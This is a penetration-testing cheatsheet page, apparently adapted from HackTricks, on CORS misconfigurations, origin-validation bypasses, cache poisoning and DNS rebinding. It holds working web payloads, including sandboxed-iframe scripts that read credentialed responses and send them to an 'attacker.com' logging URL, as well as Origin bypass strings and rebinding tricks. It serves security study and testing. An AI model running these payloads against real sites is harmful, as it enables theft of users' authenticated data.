daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cors-bypass.md (37706B)


      1 ---
      2 title: "CORS - Misconfigurations & Bypass"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/cors-bypass.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cors-bypass.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CORS - Misconfigurations & Bypass
     14 
     15 ## What is CORS?
     16 
     17 Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.<sup>[[5]](#references)</sup>
     18 
     19 A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.<sup>[[1]](#references)</sup>
     20 
     21 The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows:
     22 
     23 | URL accessed                              | Access permitted?                       |
     24 | ----------------------------------------- | --------------------------------------- |
     25 | `http://normal-website.com/example/`      | Yes: Identical scheme, domain, and port |
     26 | `http://normal-website.com/example2/`     | Yes: Identical scheme, domain, and port |
     27 | `https://normal-website.com/example/`     | No: Different scheme and port           |
     28 | `http://en.normal-website.com/example/`   | No: Different domain                    |
     29 | `http://www.normal-website.com/example/`  | No: Different domain                    |
     30 | `http://normal-website.com:8080/example/` | No: Different port\*                    |
     31 
     32 \*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.
     33 
     34 ### `Access-Control-Allow-Origin` Header
     35 
     36 This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.)
     37 
     38 This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header.<sup>[[2]](#references)</sup>
     39 
     40 ### `Access-Control-Allow-Credentials` Header
     41 
     42 By **default**, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the `Access-Control-Allow-Credentials` header to **`true`**.
     43 
     44 If set to `true`, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
     45 
     46 ```javascript
     47 var xhr = new XMLHttpRequest()
     48 xhr.onreadystatechange = function () {
     49   if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
     50     console.log(xhr.responseText)
     51   }
     52 }
     53 xhr.open("GET", "http://example.com/", true)
     54 xhr.withCredentials = true
     55 xhr.send(null)
     56 ```
     57 
     58 ```javascript
     59 fetch(url, {
     60   credentials: "include",
     61 })
     62 ```
     63 
     64 ```javascript
     65 const xhr = new XMLHttpRequest()
     66 xhr.open("POST", "https://bar.other/resources/post-here/")
     67 xhr.setRequestHeader("X-PINGOTHER", "pingpong")
     68 xhr.setRequestHeader("Content-Type", "application/xml")
     69 xhr.onreadystatechange = handler
     70 xhr.send("<person><name>Arun</name></person>")
     71 ```
     72 
     73 ### CSRF Pre-flight request
     74 
     75 ### Understanding Pre-flight Requests in Cross-Domain Communication
     76 
     77 When initiating a cross-domain request under specific conditions, such as using a **non-standard HTTP method** (anything other than HEAD, GET, POST), introducing new **headers**, or employing a special **Content-Type header value**, a pre-flight request may be required. This preliminary request, leveraging the **`OPTIONS`** method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use.
     78 
     79 The **Cross-Origin Resource Sharing (CORS)** protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
     80 
     81 It's crucial to note that the **absence of a pre-flight request does not negate the requirement for the response to carry authorization headers**. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request.
     82 
     83 Consider the following illustration of a pre-flight request aimed at employing the `PUT` method along with a custom header named `Special-Request-Header`:
     84 
     85 ```text
     86 OPTIONS /info HTTP/1.1
     87 Host: example2.com
     88 ...
     89 Origin: https://example.com
     90 Access-Control-Request-Method: PUT
     91 Access-Control-Request-Headers: Special-Request-Header
     92 ```
     93 
     94 In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below:
     95 
     96 ```markdown
     97 HTTP/1.1 204 No Content
     98 ...
     99 Access-Control-Allow-Origin: https://example.com
    100 Access-Control-Allow-Methods: PUT, POST, OPTIONS
    101 Access-Control-Allow-Headers: Authorization
    102 Access-Control-Allow-Credentials: true
    103 Access-Control-Max-Age: 240
    104 ```
    105 
    106 - **`Access-Control-Allow-Headers`**: This header specifies which headers can be used during the actual request. It is set by the server to indicate the allowed headers in requests from the client.<sup>[[3]](#references)</sup>
    107 - **`Access-Control-Expose-Headers`**: Through this header, the server informs the client about which headers can be exposed as part of the response besides the simple response headers.
    108 - **`Access-Control-Max-Age`**: This header indicates how long the results of a pre-flight request can be cached. The server sets the maximum time, in seconds, that the information returned by a pre-flight request may be reused.
    109 - **`Access-Control-Request-Headers`**: Used in pre-flight requests, this header is set by the client to inform the server about which HTTP headers the client wants to use in the actual request.
    110 - **`Access-Control-Request-Method`**: This header, also used in pre-flight requests, is set by the client to indicate which HTTP method will be used in the actual request.
    111 - **`Origin`**: This header is automatically set by the browser and indicates the origin of the cross-origin request. It is used by the server to assess whether the incoming request should be allowed or denied based on the CORS policy.
    112 
    113 Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\
    114 **Therefore, CORS doesn't protect against CSRF (but it can be helpful).**
    115 
    116 ### **Local Network Requests Pre-flight request**
    117 
    118 Modern browsers and the current **Private Network Access (PNA)** draft use the headers **`Access-Control-Request-Private-Network: true`** in the preflight and **`Access-Control-Allow-Private-Network: true`** in the response. Older articles and PoCs may still refer to `Local-Network` header names, but for current testing you should expect the `Private-Network` variants.
    119 
    120 A **valid response allowing the local network request** needs to also include `Access-Control-Allow-Private-Network: true`:
    121 
    122 ```text
    123 HTTP/1.1 200 OK
    124 ...
    125 Access-Control-Allow-Origin: https://example.com
    126 Access-Control-Allow-Methods: GET
    127 Access-Control-Allow-Credentials: true
    128 Access-Control-Allow-Private-Network: true
    129 Content-Length: 0
    130 ...
    131 ```
    132 
    133 And the preflight request will look similar to:
    134 
    135 ```http
    136 OPTIONS / HTTP/1.1
    137 Host: router.local
    138 Origin: https://example.com
    139 Access-Control-Request-Method: GET
    140 Access-Control-Request-Private-Network: true
    141 ```
    142 
    143 > [!NOTE]
    144 > Chrome's PNA rollout changed several times during 2024. As of **October 9, 2024**, Chrome documented that **PNA preflights were on hold** because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the **spec-compliant preflight flow** and the older **"works in practice because enforcement is incomplete"** behavior.<sup>[[12]](#references)</sup>
    145 
    146 > [!WARNING]
    147 > Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local".
    148 >
    149 > Chrome also documented that **`0.0.0.0/8`** is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.<sup>[[12]](#references)</sup>
    150 >
    151 > It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occasions, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted.
    152 
    153 ### Wildcards
    154 
    155 Note that even if the following configuration might look super permissive:
    156 
    157 ```bash
    158 Access-Control-Allow-Origin: *
    159 Access-Control-Allow-Credentials: true
    160 ```
    161 
    162 This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
    163 
    164 ## Exploitable misconfigurations
    165 
    166 It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.<sup>[[1]](#references)</sup>
    167 
    168 ### Exception: Exploiting Network Location as Authentication
    169 
    170 An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.<sup>[[1]](#references)</sup>
    171 
    172 ### Reflection of `Origin` in `Access-Control-Allow-Origin`
    173 
    174 The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.<sup>[[1]](#references)</sup>
    175 
    176 ```html
    177 <script>
    178   var req = new XMLHttpRequest()
    179   req.onload = reqListener
    180   req.open("get", "https://example.com/details", true)
    181   req.withCredentials = true
    182   req.send()
    183   function reqListener() {
    184     location = "/log?key=" + this.responseText
    185   }
    186 </script>
    187 ```
    188 
    189 ### Exploiting the `null` Origin
    190 
    191 The `null` origin, specified for situations like redirects or local HTML files, holds a unique position. Some applications whitelist this origin to facilitate local development, inadvertently allowing any website to mimic a `null` origin through a sandboxed iframe, thus bypassing CORS restrictions.<sup>[[1]](#references)</sup>
    192 
    193 ```html
    194 <iframe
    195   sandbox="allow-scripts allow-top-navigation allow-forms"
    196   src="data:text/html,<script>
    197   var req = new XMLHttpRequest();
    198   req.onload = reqListener;
    199   req.open('get','https://example/details',true);
    200   req.withCredentials = true;
    201   req.send();
    202   function reqListener() {
    203     location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
    204   };
    205 </script>"></iframe>
    206 ```
    207 
    208 ```html
    209 <iframe
    210   sandbox="allow-scripts allow-top-navigation allow-forms"
    211   srcdoc="<script>
    212   var req = new XMLHttpRequest();
    213   req.onload = reqListener;
    214   req.open('get','https://example/details',true);
    215   req.withCredentials = true;
    216   req.send();
    217   function reqListener() {
    218     location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
    219   };
    220 </script>"></iframe>
    221 ```
    222 
    223 ### Regular Expression Bypass Techniques
    224 
    225 When encountering a domain allowlist, test for bypass opportunities such as placing the trusted string in an attacker-controlled hostname or exploiting a trusted subdomain takeover. Regular expressions may also overlook URL-parser and hostname-normalization details.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup>
    226 
    227 ### Advanced Regular Expression Bypasses
    228 
    229 Regex patterns often concentrate on alphanumeric characters, dots, and hyphens while overlooking parser discrepancies. Crafted hostnames containing characters interpreted differently by the browser and validation code—including underscores in some parsing contexts—may bypass the check.<sup>[[13]](#references)</sup><sup>[[14]](#references)</sup>
    230 
    231 **For more information and settings of this bypass check:** [**Advanced CORS Techniques (archived)**](https://web.archive.org/web/20260000000000id_/https://www.corben.io/advanced-cors-techniques/) **and** [**Think Outside the Scope: Advanced CORS Exploitation Techniques**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)<sup>[[13]](#references)</sup><sup>[[14]](#references)</sup>
    232 
    233 ![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28284%29.png)
    234 
    235 ### From XSS inside a subdomain
    236 
    237 Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system's security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).<sup>[[8]](#references)</sup>
    238 
    239 To illustrate, consider the scenario where a domain, `requester.com`, is whitelisted to access resources from another domain, `provider.com`. The server-side configuration might look something like this:
    240 
    241 ```javascript
    242 if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
    243   // Access data
    244 } else {
    245   // Unauthorized access
    246 }
    247 ```
    248 
    249 In this setup, all subdomains of `requester.com` are allowed access. However, if a subdomain, say `sub.requester.com`, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to `sub.requester.com` could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on `provider.com`.<sup>[[1]](#references)</sup>
    250 
    251 ### **Special Characters**
    252 
    253 PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) found that some browsers support strange characters within domain names.<sup>[[15]](#references)</sup>
    254 
    255 Chrome and Firefox support underscores `_` that can bypass regexes implemented to validate the `Origin` header:
    256 
    257 ```text
    258 GET / HTTP/2
    259 Cookie: <session_cookie>
    260 Origin: https://target.application_.arbitrary.com
    261 ```
    262 
    263 ```text
    264 HTTP/2 200 OK
    265 Access-Control-Allow-Origin: https://target.application_.arbitrary.com
    266 Access-Control-Allow-Credentials: true
    267 ```
    268 
    269 Safari is even more lax accepting special characters in the domain name:
    270 
    271 ```text
    272 GET / HTTP/2
    273 Cookie: <session_cookie>
    274 Origin: https://target.application}.arbitrary.com
    275 ```
    276 
    277 ```text
    278 HTTP/2 200 OK
    279 Cookie: <session_cookie>
    280 Access-Control-Allow-Origin: https://target.application}.arbitrary.com
    281 Access-Control-Allow-Credentials: true
    282 ```
    283 
    284 Recent updates to PortSwigger's cheat sheet added more **Safari-oriented domain splitting** payloads that are worth fuzzing when the target validates the `Origin` header using regexes or home-grown URL parsers:
    285 
    286 ```text
    287 https://example.com.{.attacker.com/
    288 https://example.com.}.attacker.com/
    289 https://example.com.`.attacker.com/
    290 ```
    291 
    292 These are useful when the backend only checks whether the supplied origin *starts with* or *contains* the trusted hostname, while the browser still treats the attacker-controlled suffix as the effective origin boundary.<sup>[[11]](#references)</sup>
    293 
    294 Also remember that modern origin fuzzing should not stop at hostname suffixes. The current PortSwigger cheat sheet includes payload families for:<sup>[[11]](#references)</sup>
    295 
    296 - **Domain allow-list bypasses**: attacker-controlled domains that still satisfy naive prefix/suffix/substring checks.
    297 - **Fake-relative absolute URLs**: browser-valid absolute URLs that application code may parse as relative.
    298 - **Loopback/IP normalizations**: alternative IPv4/IPv6 forms useful when CORS logic tries to block `localhost`, `127.0.0.1`, or cloud metadata endpoints by string comparison.
    299 
    300 ### **Other funny URL tricks**
    301 
    302 
    303 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass)
    304 
    305 ### **Server-side cache poisoning**
    306 
    307 It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities.
    308 
    309 Consider the following request where the `Origin` header is manipulated:
    310 
    311 ```text
    312 GET / HTTP/1.1
    313 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
    314 ```
    315 
    316 Internet Explorer and Edge interpret the response as:
    317 
    318 ```text
    319 HTTP/1.1 200 OK
    320 Access-Control-Allow-Origin: z
    321 Content-Type: text/html; charset=UTF-7
    322 ```
    323 
    324 While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.<sup>[[4]](#references)</sup>
    325 
    326 For further reading on stored XSS vulnerabilities, see [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).<sup>[[18]](#references)</sup>
    327 
    328 **Note**: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.
    329 
    330 ### **Client-Side cache poisoning**
    331 
    332 In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
    333 
    334 Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.
    335 
    336 To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.<sup>[[4]](#references)</sup>
    337 
    338 Here's a summarized breakdown of the JavaScript used to execute this attack:
    339 
    340 ```html
    341 <script>
    342   function gotcha() {
    343     location = url
    344   }
    345   var req = new XMLHttpRequest()
    346   url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
    347   req.onload = gotcha
    348   req.open("get", url, true)
    349   req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
    350   req.send()
    351 </script>
    352 ```
    353 
    354 ## Bypass
    355 
    356 ### XSSI (Cross-Site Script Inclusion) / JSONP
    357 
    358 XSSI, also known as Cross-Site Script Inclusion, is a type of vulnerability that takes advantage of the fact that the Same Origin Policy (SOP) does not apply when including resources using the script tag. This is because scripts need to be able to be included from different domains. This vulnerability allows an attacker to access and read any content that was included using the script tag.
    359 
    360 This vulnerability becomes particularly significant when it comes to dynamic JavaScript or JSONP (JSON with Padding), especially when ambient-authority information like cookies are used for authentication. When requesting a resource from a different host, the cookies are included, making them accessible to the attacker.<sup>[[9]](#references)</sup>
    361 
    362 To better understand and mitigate this vulnerability, you can use the BurpSuite plugin available at [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). This plugin can help identify and address potential XSSI vulnerabilities in your web applications.
    363 
    364 [**Read more about the difefrent types of XSSI and how to exploit them here.**](/hacktricks/pentesting-web/xssi-cross-site-script-inclusion)
    365 
    366 Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy.
    367 
    368 ![Bypass - XSSI (Cross-Site Script Inclusion) / JSONP: Try to add a callback parameter in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28856%29.png)
    369 
    370 ### Easy (useless?) bypass
    371 
    372 One way to bypass the `Access-Control-Allow-Origin` restriction is by requesting a web application to make a request on your behalf and send back the response. However, in this scenario, the credentials of the final victim won't be sent as the request is made to a different domain.
    373 
    374 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): This tool provides a proxy that forwards your request along with its headers, while also spoofing the Origin header to match the requested domain. This effectively bypasses the CORS policy. Here's an example usage with XMLHttpRequest:<sup>[[7]](#references)</sup>
    375 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): This tool offers an alternative approach to proxying requests. Instead of passing on your request as-is, the server makes its own request with the specified parameters.
    376 
    377 ### Iframe + Popup Bypass
    378 
    379 You can **bypass CORS checks** such as `e.origin === window.origin` by **creating an iframe** and **from it opening a new window**. More information in the following page:
    380 
    381 
    382 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp)
    383 
    384 ### DNS Rebinding via TTL
    385 
    386 DNS rebinding via TTL is a technique used to bypass certain security measures by manipulating DNS records. Here's how it works:
    387 
    388 1. The attacker creates a web page and makes the victim access it.
    389 2. The attacker then changes the DNS (IP) of their own domain to point to the victim's web page.
    390 3. The victim's browser caches the DNS response, which may have a TTL (Time to Live) value indicating how long the DNS record should be considered valid.
    391 4. When the TTL expires, the victim's browser makes a new DNS request, allowing the attacker to execute JavaScript code on the victim's page.
    392 5. By maintaining control over the IP of the victim, the attacker can gather information from the victim without sending any cookies to the victim server.
    393 
    394 It's important to note that browsers have caching mechanisms that may prevent immediate abuse of this technique, even with low TTL values.
    395 
    396 DNS rebinding can be useful for bypassing explicit IP checks performed by the victim or for scenarios where a user or bot remains on the same page for an extended period, allowing the cache to expire.
    397 
    398 If you need a quick way to abuse DNS rebinding, you can use services like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
    399 
    400 To run your own DNS rebinding server, you can utilize tools like **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). This involves exposing your local port 53/udp, creating an A record pointing to it (e.g., ns.example.com), and creating an NS record pointing to the previously created A subdomain (e.g., ns.example.com). Any subdomain of the ns.example.com subdomain will then be resolved by your host.
    401 
    402 You can also explore a publicly running server at [http://rebind.it/singularity.html](http://rebind.it/singularity.html) for further understanding and experimentation.
    403 
    404 ### DNS Rebinding via **DNS Cache Flooding**
    405 
    406 DNS rebinding via DNS cache flooding is another technique used to bypass the caching mechanism of browsers and force a second DNS request. Here's how it works:
    407 
    408 1. Initially, when the victim makes a DNS request, it is responded with the attacker's IP address.
    409 2. To bypass the caching defense, the attacker leverages a service worker. The service worker floods the DNS cache, which effectively deletes the cached attacker server name.
    410 3. When the victim's browser makes a second DNS request, it is now responded with the IP address 127.0.0.1, which typically refers to the localhost.
    411 
    412 By flooding the DNS cache with the service worker, the attacker can manipulate the DNS resolution process and force the victim's browser to make a second request, this time resolving to the attacker's desired IP address.
    413 
    414 ### DNS Rebinding via **Cache**
    415 
    416 Another way to bypass the caching defense is by utilizing multiple IP addresses for the same subdomain in the DNS provider. Here's how it works:
    417 
    418 1. The attacker sets up two A records (or a single A record with two IPs) for the same subdomain in the DNS provider.
    419 2. When a browser checks for these records, it receives both IP addresses.
    420 3. If the browser decides to use the attacker's IP address first, the attacker can serve a payload that performs HTTP requests to the same domain.
    421 4. However, once the attacker obtains the victim's IP address, they stop responding to the victim's browser.
    422 5. The victim's browser, upon realizing that the domain is unresponsive, moves on to use the second given IP address.
    423 6. By accessing the second IP address, the browser bypasses the Same Origin Policy (SOP), allowing the attacker to abuse this and gather and exfiltrate information.
    424 
    425 This technique leverages the behavior of browsers when multiple IP addresses are provided for a domain. By strategically controlling the responses and manipulating the browser's choice of IP address, an attacker can exploit the SOP and access information from the victim.
    426 
    427 > [!WARNING]
    428 > Note that in order to access localhost you should try to rebind **127.0.0.1** in Windows and **0.0.0.0** in linux.\
    429 > Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0"
    430 >
    431 > <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28140%29.png" alt="" data-size="original">
    432 
    433 For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)<sup>[[16]](#references)</sup>
    434 
    435 ### Other Common Bypasses
    436 
    437 - If **internal IPs aren't allowed**, they might **forgot forbidding 0.0.0.0** (works on Linux and Mac)
    438 - If **internal IPs aren't allowed**, respond with a **CNAME** to **localhost** (works on Linux and Ma
    439 - If **internal IPs aren't allowed** as DNS responses, you can respond **CNAMEs to internal services** such as www.corporate.internal.
    440 
    441 ### DNS Rebinding Weaponized
    442 
    443 You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).<sup>[[17]](#references)</sup>
    444 
    445 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
    446 
    447 ### DNS Rebinding over DNS-over-HTTPS (DoH)
    448 
    449 DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with `Content-Type: application/dns-message`). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.<sup>[[10]](#references)</sup>
    450 
    451 #### Key observations
    452 
    453 - Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for **first-then-second**, **multiple-answers**, or **DNS cache flooding** strategies.
    454 - Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP.
    455 
    456 #### Singularity strategies and timing over DoH
    457 
    458 - **First-then-second** remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS.
    459 - **Multiple answers (fast rebinding)** still reaches localhost in <3 seconds by answering with two A records (attacker IP + `0.0.0.0` on Linux/macOS or `127.0.0.1` on Windows) and programmatically blackholing the first IP (for example, `iptables -I OUTPUT -d <attacker_ip> -j DROP`) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the **first** query timestamp instead of refreshing the timer on every query.
    460 
    461 #### Beating “rebind protection” in DoH providers
    462 
    463 - Some providers (e.g., NextDNS) replace private/loopback answers with `0.0.0.0`, but Linux and macOS happily route that destination to local services. Intentionally returning `0.0.0.0` as the second record therefore still pivots the origin to localhost.
    464 - Filtering only the direct A/AAAA response is ineffective: returning a **CNAME** to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin.
    465 
    466 #### Browser-specific DoH behavior
    467 
    468 - **Firefox DoH** operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks.
    469 - **Chrome DoH** only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set.
    470 
    471 #### Testing and monitoring DoH flows
    472 
    473 - Firefox: `Settings ➜ Network Settings ➜ Enable DNS over HTTPS` and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable `chrome://flags/#dns-over-https` and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., `1.1.1.1`/`1.0.0.1`).
    474 - You can query public DoH APIs directly, e.g. `curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq` to confirm the exact records browsers will cache.
    475 - Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (`export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt`) before launching the browser and let Wireshark decrypt the DoH sessions with the `dns` display filter to see when the browser stays on DoH or falls back to classic DNS.
    476 
    477 ### Real Protection against DNS Rebinding
    478 
    479 - Use TLS in internal services
    480 - Request authentication to access data
    481 - Validate the Host header
    482 - [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposal to always send a pre-flight request when public servers want to access internal servers
    483 
    484 ## **Tools**
    485 
    486 **Fuzz possible misconfigurations in CORS policies**
    487 
    488 - [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
    489 - [https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0](https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0)
    490 - [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
    491 - [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
    492 - [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
    493 - [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
    494 - [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
    495 
    496 ## References
    497 
    498 - [1] [Cross-origin resource sharing (CORS) | Web Security Academy](https://portswigger.net/web-security/cors)
    499 - [2] [Access-Control-Allow-Origin header | Web Security Academy](https://portswigger.net/web-security/cors/access-control-allow-origin)
    500 - [3] [HTTP headers - CORS | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
    501 - [4] [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
    502 - [5] [Fetch Standard: HTTP CORS protocol](https://fetch.spec.whatwg.org/#http-cors-protocol)
